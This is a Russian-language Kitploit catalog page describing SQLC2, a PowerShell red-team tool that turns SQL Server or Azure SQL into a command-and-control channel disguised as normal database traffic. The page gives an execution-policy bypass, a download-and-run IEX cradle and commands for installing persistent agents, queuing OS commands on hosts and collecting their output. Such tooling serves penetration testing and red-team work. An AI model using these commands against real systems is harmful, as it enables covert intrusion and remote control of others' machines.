Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SQLC2 — SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent. | Kitploit
Инструменты/GitHubGitHub/netspi/sqlc2
Persistence MechanismsPenetration TestingCloud SecurityCommand and ControlRed TeamingDatabase Security
GitHubnetspi/sqlc2

SQLC2

SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent.

Репозиторий
75213 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SQLC2

SQLC2 — это скрипт PowerShell для развертывания и управления системой управления и контроля (C2), которая использует SQL Server как в качестве сервера управления, так и в качестве агента. По сути, SQLC2 — это просто скрипт PowerShell, скрипт TSQL и несколько таблиц в экземпляре SQL Server, которые отслеживают агенты, команды и результаты. Ничего сверхсложного, но это может оказаться полезным в некоторых задачах.

Для более полного обзора SQLC2 посетите блог по адресу https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.

Автор и лицензия

  • Автор: Scott Sutherland (@_nullbind), NetSPI - 2018
  • Лицензия: BSD 3-Clause
  • Необходимые зависимости: Нет

Зачем возиться с C2 на основе SQL Server?

Все больше компаний начинают использовать базы данных Azure SQL. Когда такие экземпляры Azure SQL создаются, они становятся доступными через поддомен database.windows.net на порту 1433. Например, можно создать экземпляр SQL Server с именем "mysupersqlserver.database.windows.net". В результате некоторые корпоративные сетевые конфигурации разрешают исходящий доступ в интернет к любому поддомену "database.windows.net" на порту 1433.

Основная идея в том, что по мере роста использования Azure SQL Server появится больше возможностей использовать SQL Server в качестве канала управления, который выглядит похожим на обычный трафик. SQLPS — это довольно простая концептуальная реализация, но, думаю, она достаточно функциональна, чтобы проиллюстрировать идею. Я знаю, что можно сделать много улучшений, но если вы решите поиграть с ней, буду рад вашим отзывам.

Не только для Azure

Хотя акцент сделан на использовании SQLC2 с экземплярами Azure SQL Server, вы можете разместить собственный SQL Server в любой облачной среде и настроить его прослушивание на порту 443 с включенным SSL. Так что это может предоставить немного больше гибкости в зависимости от того, сколько усилий вы готовы вложить.

Загрузка SQLC2

  • Вариант 1: Загрузите скрипт и импортируйте его. Для этого не требуются права администратора, и он будет импортирован только в текущий сеанс. Однако он может быть заблокирован ограничительными политиками выполнения, поэтому, возможно, вам захочется использовать опцию bypass.

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • Вариант 2: Загрузите его в сеанс через скачиваемый "cradle". Для этого не требуются права администратора, и он будет импортирован только в текущий сеанс. Он не должен блокироваться политиками выполнения.

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    Примечание: Чтобы запустить от имени другого доменного пользователя, сначала запустите PowerShell с помощью команды runas.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

Базовая архитектурная диаграмма SQLC2

SQLC2Arch

Функции пользователя

Ниже приведен список функций пользователя, поддерживающих предполагаемые рабочие процессы.

Скриншоты

Ниже приведены несколько примеров скриншотов.

Установка сервера SQLC2 (создание таблиц):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install C2

Установка агента SQLC2 (задание агента SQL Server, использующее серверную ссылку):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install Agent

Просмотр агентов SQLC2:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

Установка команды для выполнения на агенте:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Set_Command

Получение результатов команды:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Get Command Output

Скачать инструмент
Имя функцииОписание
Install-SQLC2ServerУстановка таблиц SQLC2 на целевом SQL Server/базе данных.
Install-SQLC2AgentPsУстановка агента, использующего задание агента SQL Server и серверную ссылку.
Install-SQLC2AgentLinkУстановка агента, использующего запланированное задание или ключ реестра для выполнения команд PowerShell.
Set-SQLC2CommandУстановка команд операционной системы для выполнения агентами.
Get-SQLC2CommandПолучение списка ожидающих команд ОС от C2 для агента. Также может выполнить ожидающую команду с флагом -Execute.
Get-SQLC2AgentПолучение списка агентов, зарегистрированных на сервере SQLC2.
Get-SQLC2ResultПолучение списка ожидающих и выполненных команд. Поддерживает фильтры по имени сервера, статусу и cid.
Remove-SQLC2AgentУдаление агентов, зарегистрированных на SQLC2. Просто очищает историю.
Remove-SQLC2CommandУдаление истории команд на сервере SQLC2.
Uninstall-SQLC2AgentLinkУдаление агента SQLC2, использующего серверные ссылки и задание агента.
Uninstall-SQLC2AgentPsУдаление всех методов сохранения, основанных на операционной системе.
Uninstall-SQLC2ServerУдаление таблиц SQLC2 из целевой базы данных.